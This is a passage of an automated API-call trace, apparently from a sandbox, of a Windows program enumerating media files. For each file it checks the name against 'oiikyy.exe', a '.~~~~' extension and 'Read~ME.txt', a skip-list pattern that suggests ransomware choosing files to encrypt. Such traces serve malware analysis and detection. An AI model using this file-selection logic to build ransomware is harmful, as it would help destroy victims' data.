	[0083.555] GetCurrentThreadId () returned 0x618
	[0083.555] RtlWakeConditionVariable () returned 0x365f48
	[0083.555] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1
	[0083.555] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="Windows") returned -1
	[0083.555] lstrcmpW (lpString1="DD01761_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.555] StrStrW (lpFirst="DD01761_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.555] lstrcmpW (lpString1="DD01761_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.555] GetCurrentThreadId () returned 0x618
	[0083.555] RtlWakeConditionVariable () returned 0x365f48
	[0083.555] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1
	[0083.555] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="Windows") returned -1
	[0083.555] lstrcmpW (lpString1="DD01772_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.555] StrStrW (lpFirst="DD01772_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.555] lstrcmpW (lpString1="DD01772_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.555] GetCurrentThreadId () returned 0x618
	[0083.555] RtlWakeConditionVariable () returned 0x365f48
	[0083.556] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1
	[0083.556] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="Windows") returned -1
	[0083.556] lstrcmpW (lpString1="DD01793_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.556] StrStrW (lpFirst="DD01793_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.556] lstrcmpW (lpString1="DD01793_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.556] GetCurrentThreadId () returned 0x618
	[0083.556] RtlWakeConditionVariable () returned 0x365f48
	[0083.556] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1
	[0083.556] lstrcmpiW (lpString1="EAST_01.MID", lpString2="Windows") returned -1
	[0083.556] lstrcmpW (lpString1="EAST_01.MID", lpString2="oiikyy.exe") returned -1
	[0083.556] StrStrW (lpFirst="EAST_01.MID", lpSrch=".~~~~") returned 0x0
	[0083.556] lstrcmpW (lpString1="EAST_01.MID", lpString2="Read~ME.txt") returned -1
	[0083.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.556] GetCurrentThreadId () returned 0x618
	[0083.556] RtlWakeConditionVariable () returned 0x365f48
	[0083.556] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1
	[0083.556] lstrcmpiW (lpString1="ED00010_.WMF", lpString2="Windows") returned -1
	[0083.556] lstrcmpW (lpString1="ED00010_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.556] StrStrW (lpFirst="ED00010_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.556] lstrcmpW (lpString1="ED00010_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.556] GetCurrentThreadId () returned 0x618
	[0083.557] RtlWakeConditionVariable () returned 0x365f48
	[0083.557] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1
	[0083.557] lstrcmpiW (lpString1="ED00019_.WMF", lpString2="Windows") returned -1
	[0083.557] lstrcmpW (lpString1="ED00019_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.557] StrStrW (lpFirst="ED00019_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.557] lstrcmpW (lpString1="ED00019_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.557] GetCurrentThreadId () returned 0x618
	[0083.557] RtlWakeConditionVariable () returned 0x365f48
	[0083.557] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1
	[0083.557] lstrcmpiW (lpString1="ED00172_.WMF", lpString2="Windows") returned -1
	[0083.557] lstrcmpW (lpString1="ED00172_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.557] StrStrW (lpFirst="ED00172_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.557] lstrcmpW (lpString1="ED00172_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.557] GetCurrentThreadId () returned 0x618
	[0083.557] RtlWakeConditionVariable () returned 0x365f48
	[0083.557] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1
	[0083.557] lstrcmpiW (lpString1="ED00184_.WMF", lpString2="Windows") returned -1
	[0083.557] lstrcmpW (lpString1="ED00184_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.557] StrStrW (lpFirst="ED00184_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.557] lstrcmpW (lpString1="ED00184_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.558] GetCurrentThreadId () returned 0x618
	[0083.558] RtlWakeConditionVariable () returned 0x365f48
	[0083.558] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1
	[0083.558] lstrcmpiW (lpString1="EN00006_.WMF", lpString2="Windows") returned -1
	[0083.558] lstrcmpW (lpString1="EN00006_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.558] StrStrW (lpFirst="EN00006_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.558] lstrcmpW (lpString1="EN00006_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.558] GetCurrentThreadId () returned 0x618
	[0083.558] RtlWakeConditionVariable () returned 0x365f48
	[0083.558] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1
	[0083.558] lstrcmpiW (lpString1="EN00202_.WMF", lpString2="Windows") returned -1
	[0083.558] lstrcmpW (lpString1="EN00202_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.558] StrStrW (lpFirst="EN00202_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.558] lstrcmpW (lpString1="EN00202_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.558] GetCurrentThreadId () returned 0x618
	[0083.558] RtlWakeConditionVariable () returned 0x365f48
	[0083.558] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1
	[0083.558] lstrcmpiW (lpString1="EN00222_.WMF", lpString2="Windows") returned -1
	[0083.558] lstrcmpW (lpString1="EN00222_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.558] StrStrW (lpFirst="EN00222_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.558] lstrcmpW (lpString1="EN00222_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.559] GetCurrentThreadId () returned 0x618
	[0083.559] RtlWakeConditionVariable () returned 0x365f48
	[0083.559] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1
	[0083.559] lstrcmpiW (lpString1="EN00242_.WMF", lpString2="Windows") returned -1
	[0083.559] lstrcmpW (lpString1="EN00242_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.559] StrStrW (lpFirst="EN00242_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.559] lstrcmpW (lpString1="EN00242_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.559] GetCurrentThreadId () returned 0x618
	[0083.559] RtlWakeConditionVariable () returned 0x365f48
	[0083.559] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1
	[0083.559] lstrcmpiW (lpString1="EN00319_.WMF", lpString2="Windows") returned -1
	[0083.559] lstrcmpW (lpString1="EN00319_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.559] StrStrW (lpFirst="EN00319_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.559] lstrcmpW (lpString1="EN00319_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.559] GetCurrentThreadId () returned 0x618
	[0083.559] RtlWakeConditionVariable () returned 0x365f48
	[0083.559] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1
	[0083.559] lstrcmpiW (lpString1="EN00320_.WMF", lpString2="Windows") returned -1
	[0083.559] lstrcmpW (lpString1="EN00320_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.560] StrStrW (lpFirst="EN00320_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.560] lstrcmpW (lpString1="EN00320_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.560] GetCurrentThreadId () returned 0x618
	[0083.560] RtlWakeConditionVariable () returned 0x365f48
	[0083.560] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1
	[0083.560] lstrcmpiW (lpString1="EN00397_.WMF", lpString2="Windows") returned -1
	[0083.560] lstrcmpW (lpString1="EN00397_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.560] StrStrW (lpFirst="EN00397_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.560] lstrcmpW (lpString1="EN00397_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.560] GetCurrentThreadId () returned 0x618
	[0083.560] RtlWakeConditionVariable () returned 0x365f48
	[0083.560] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1
	[0083.560] lstrcmpiW (lpString1="EN00902_.WMF", lpString2="Windows") returned -1
	[0083.560] lstrcmpW (lpString1="EN00902_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.560] StrStrW (lpFirst="EN00902_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.560] lstrcmpW (lpString1="EN00902_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.560] GetCurrentThreadId () returned 0x618
	[0083.560] RtlWakeConditionVariable () returned 0x365f48
	[0083.560] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1
	[0083.560] lstrcmpiW (lpString1="EXPLR_01.MID", lpString2="Windows") returned -1
	[0083.560] lstrcmpW (lpString1="EXPLR_01.MID", lpString2="oiikyy.exe") returned -1
	[0083.561] StrStrW (lpFirst="EXPLR_01.MID", lpSrch=".~~~~") returned 0x0
	[0083.561] lstrcmpW (lpString1="EXPLR_01.MID", lpString2="Read~ME.txt") returned -1
	[0083.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.561] GetCurrentThreadId () returned 0x618
	[0083.561] RtlWakeConditionVariable () returned 0x365f48
	[0083.561] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1
	[0083.561] lstrcmpiW (lpString1="FALL_01.MID", lpString2="Windows") returned -1
	[0083.561] lstrcmpW (lpString1="FALL_01.MID", lpString2="oiikyy.exe") returned -1
	[0083.561] StrStrW (lpFirst="FALL_01.MID", lpSrch=".~~~~") returned 0x0
	[0083.561] lstrcmpW (lpString1="FALL_01.MID", lpString2="Read~ME.txt") returned -1
	[0083.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.561] GetCurrentThreadId () returned 0x618
	[0083.561] RtlWakeConditionVariable () returned 0x365f48
	[0083.561] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1
	[0083.561] lstrcmpiW (lpString1="FD00074_.WMF", lpString2="Windows") returned -1
	[0083.561] lstrcmpW (lpString1="FD00074_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.561] StrStrW (lpFirst="FD00074_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.561] lstrcmpW (lpString1="FD00074_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.561] GetCurrentThreadId () returned 0x618
	[0083.561] RtlWakeConditionVariable () returned 0x365f48
	[0083.561] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1
	[0083.561] lstrcmpiW (lpString1="FD00076_.WMF", lpString2="Windows") returned -1
	[0083.562] lstrcmpW (lpString1="FD00076_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.562] StrStrW (lpFirst="FD00076_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.562] lstrcmpW (lpString1="FD00076_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.562] GetCurrentThreadId () returned 0x618
	[0083.562] RtlWakeConditionVariable () returned 0x365f48
	[0083.562] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1
	[0083.562] lstrcmpiW (lpString1="FD00077_.WMF", lpString2="Windows") returned -1
	[0083.562] lstrcmpW (lpString1="FD00077_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.562] StrStrW (lpFirst="FD00077_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.562] lstrcmpW (lpString1="FD00077_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.562] GetCurrentThreadId () returned 0x618
	[0083.562] RtlWakeConditionVariable () returned 0x365f48
	[0083.562] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1
	[0083.562] lstrcmpiW (lpString1="FD00086_.WMF", lpString2="Windows") returned -1
	[0083.562] lstrcmpW (lpString1="FD00086_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.562] StrStrW (lpFirst="FD00086_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.562] lstrcmpW (lpString1="FD00086_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.562] GetCurrentThreadId () returned 0x618
	[0083.562] RtlWakeConditionVariable () returned 0x365f48
	[0083.563] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1
	[0083.563] lstrcmpiW (lpString1="FD00090_.WMF", lpString2="Windows") returned -1
	[0083.563] lstrcmpW (lpString1="FD00090_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.563] StrStrW (lpFirst="FD00090_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.563] lstrcmpW (lpString1="FD00090_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.563] GetCurrentThreadId () returned 0x618
	[0083.563] RtlWakeConditionVariable () returned 0x365f48
	[0083.563] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1
	[0083.563] lstrcmpiW (lpString1="FD00096_.WMF", lpString2="Windows") returned -1
	[0083.563] lstrcmpW (lpString1="FD00096_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.563] StrStrW (lpFirst="FD00096_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.563] lstrcmpW (lpString1="FD00096_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.563] GetCurrentThreadId () returned 0x618
	[0083.563] RtlWakeConditionVariable () returned 0x365f48
